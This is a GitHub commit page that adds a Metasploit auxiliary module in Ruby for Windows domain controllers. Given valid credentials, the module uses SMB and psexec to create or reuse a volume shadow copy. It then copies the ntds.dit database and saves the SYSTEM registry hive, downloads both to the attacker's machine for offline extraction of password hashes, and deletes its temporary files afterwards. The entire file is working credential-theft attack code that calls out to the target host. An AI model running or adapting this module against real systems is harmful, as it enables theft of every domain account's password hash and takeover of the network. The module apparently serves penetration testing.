Skip to content

Commit 9ae2c8e

Browse files
author
jvazquez-r7
committed
Merge branch 'ntdsgrab4' of https://github.com/R3dy/metasploit-framework into R3dy-ntdsgrab4
2 parents 2f11796 + abbb3b2 commit 9ae2c8e

File tree

1 file changed

+268
-0
lines changed

1 file changed

+268
-0
lines changed
Lines changed: 268 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,268 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
# Exploit mixins should be called first
13+
include Msf::Exploit::Remote::DCERPC
14+
include Msf::Exploit::Remote::SMB
15+
include Msf::Exploit::Remote::SMB::Psexec
16+
include Msf::Exploit::Remote::SMB::Authenticated
17+
include Msf::Auxiliary::Report
18+
19+
# Aliases for common classes
20+
SIMPLE = Rex::Proto::SMB::SimpleClient
21+
XCEPT= Rex::Proto::SMB::Exceptions
22+
CONST= Rex::Proto::SMB::Constants
23+
24+
25+
def initialize(info = {})
26+
super(update_info(info,
27+
'Name' => 'Windows Domain Controller - Download NTDS.dit and SYSTEM Hive',
28+
'Description'=> %q{This module authenticates to an Active Directory Domain Controller and creates
29+
a volume shadow copy of the %SYSTEMDRIVE%.It then pulls down copies of the ntds.dit file as well
30+
as the SYSTEM hive and stores them on your attacking machine.The ntds.dit and SYSTEM copy can be used
31+
in combination with other tools for offline extraction of AD password hashes.All of this is possible without
32+
uploading a single binary to the target host.
33+
},
34+
35+
'Author' => [
36+
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>'
37+
],
38+
39+
'License'=> MSF_LICENSE,
40+
'References' => [
41+
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
42+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ]
43+
],
44+
))
45+
46+
register_options([
47+
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
48+
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
49+
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
50+
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', 'false']),
51+
], self.class)
52+
53+
end
54+
55+
56+
def peer
57+
return "#{rhost}:#{rport}"
58+
end
59+
60+
61+
# This is the main control method
62+
def run
63+
# Initialize some variables
64+
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
65+
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
66+
createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"
67+
@ip = datastore['RHOST']
68+
@smbshare = datastore['SMBSHARE']
69+
# Try and connect
70+
if connect
71+
#Try and authenticate with given credentials
72+
begin
73+
smb_login
74+
rescue StandardError => autherror
75+
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
76+
return
77+
end
78+
# If a VSC was specified then don't try and create one
79+
if datastore['VSCPATH'].length > 0
80+
print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
81+
vscpath = datastore['VSCPATH']
82+
else
83+
unless datastore['CREATE_NEW_VSC'] == true
84+
vscpath = check_vss(text, bat)
85+
end
86+
unless vscpath
87+
vscpath = make_volume_shadow_copy(createvsc, text, bat)
88+
end
89+
end
90+
if vscpath
91+
if copy_ntds(vscpath, text) and copy_sys_hive
92+
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
93+
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
94+
else
95+
print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.")
96+
end
97+
end
98+
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
99+
disconnect
100+
end
101+
end
102+
103+
104+
# Thids method will check if a Volume Shadow Copy already exists and use that rather
105+
# then creating a new one
106+
def check_vss(text, bat)
107+
begin
108+
print_status("#{peer} - Checking if a Volume Shadow Copy exists already.")
109+
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
110+
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
111+
result = psexec(command)
112+
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
113+
vscs = []
114+
data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
115+
if vscs.empty?
116+
print_status("#{peer} - No VSC Found.")
117+
return nil
118+
end
119+
vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
120+
print_good("#{peer} - Volume Shadow Copy exists on #{vscpath}")
121+
return vscpath
122+
rescue StandardError => vsscheckerror
123+
print_error("#{peer} - Unable to determine if VSS is enabled: #{vsscheckerror}")
124+
return nil
125+
end
126+
end
127+
128+
129+
# Create a Volume Shadow Copy on the target host
130+
def make_volume_shadow_copy(createvsc, text, bat)
131+
begin
132+
#Try to create the shadow copy
133+
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
134+
print_status("#{peer} - Creating Volume Shadow Copy")
135+
out = psexec(command)
136+
#Get path to Volume Shadow Copy
137+
vscpath = get_vscpath(text)
138+
rescue StandardError => vscerror
139+
print_error("#{peer} - Unable to create the Volume Shadow Copy: #{vscerror}")
140+
return nil
141+
end
142+
if vscpath
143+
print_good("#{peer} - Volume Shadow Copy created on #{vscpath}")
144+
return vscpath
145+
else
146+
return nil
147+
end
148+
end
149+
150+
151+
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
152+
def copy_ntds(vscpath, text)
153+
begin
154+
ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"
155+
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
156+
run = psexec(command)
157+
if !check_ntds(text)
158+
return false
159+
end
160+
return true
161+
rescue StandardError => ntdscopyerror
162+
print_error("#{peer} - Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
163+
return false
164+
end
165+
end
166+
167+
168+
# Checks if ntds.dit was copied to the Windows Temp directory
169+
def check_ntds(text)
170+
print_status("#{peer} - Checking if NTDS.dit was copied.")
171+
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
172+
run = psexec(check)
173+
output = smb_read_file(@smbshare, @ip, text)
174+
if output.include?("ntds")
175+
return true
176+
end
177+
return false
178+
end
179+
180+
181+
# Copies the SYSTEM hive file to the Temp directory on the target host
182+
def copy_sys_hive
183+
begin
184+
# Try to crate the sys hive copy
185+
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
186+
return psexec(command)
187+
rescue StandardError => hiveerror
188+
print_error("#{peer} - Unable to copy the SYSTEM hive file: #{hiveerror}")
189+
return false
190+
end
191+
end
192+
193+
194+
# Download the ntds.dit copy to your attacking machine
195+
def download_ntds(file)
196+
print_status("#{peer} - Downloading ntds.dit file")
197+
begin
198+
# Try to download ntds.dit
199+
simple.connect("\\\\#{@ip}\\#{@smbshare}")
200+
remotefile = simple.open("#{file}", 'rob')
201+
data = remotefile.read
202+
store_loot("NTDS.database", "data", @ip, data, "ntds.dit", nil, nil)
203+
remotefile.close
204+
rescue StandardError => ntdsdownloaderror
205+
print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
206+
return ntdsdownloaderror
207+
end
208+
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
209+
end
210+
211+
212+
# Download the SYSTEM hive copy to your attacking machine
213+
def download_sys_hive(file)
214+
print_status("#{peer} - Downloading SYSTEM hive file")
215+
begin
216+
# Try to download SYSTEM hive
217+
simple.connect("\\\\#{@ip}\\#{@smbshare}")
218+
remotefile = simple.open("#{file}", 'rob')
219+
data = remotefile.read
220+
store_loot("Registry.hive.system", "binary/reg", @ip, data, "system-hive", nil, nil)
221+
remotefile.close
222+
rescue StandardError => sysdownloaderror
223+
print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}")
224+
return sysdownloaderror
225+
end
226+
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
227+
end
228+
229+
230+
# Gets the path to the Volume Shadow Copy
231+
def get_vscpath(file)
232+
begin
233+
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
234+
vsc = ""
235+
output = smb_read_file(@smbshare, @ip, file)
236+
output.each_line do |line|
237+
vsc += line if line.include?("GLOBALROOT")
238+
end
239+
return prepath + vsc.split("ShadowCopy")[1].chomp
240+
rescue StandardError => vscpath_error
241+
print_error("#{peer} - Could not determine the exact path to the VSC check your WINPATH")
242+
return nil
243+
end
244+
end
245+
246+
# Removes files created during execution.
247+
def cleanup_after(*files)
248+
simple.connect("\\\\#{@ip}\\#{@smbshare}")
249+
print_status("#{peer} - Executing cleanup...")
250+
files.each do |file|
251+
begin
252+
if smb_file_exist?(file)
253+
smb_file_rm(file)
254+
end
255+
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
256+
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
257+
end
258+
end
259+
left = files.collect{ |f| smb_file_exist?(f) }
260+
if left.any?
261+
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
262+
else
263+
print_status("#{peer} - Cleanup was successful")
264+
end
265+
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
266+
end
267+
268+
end

0 commit comments

Comments
 (0)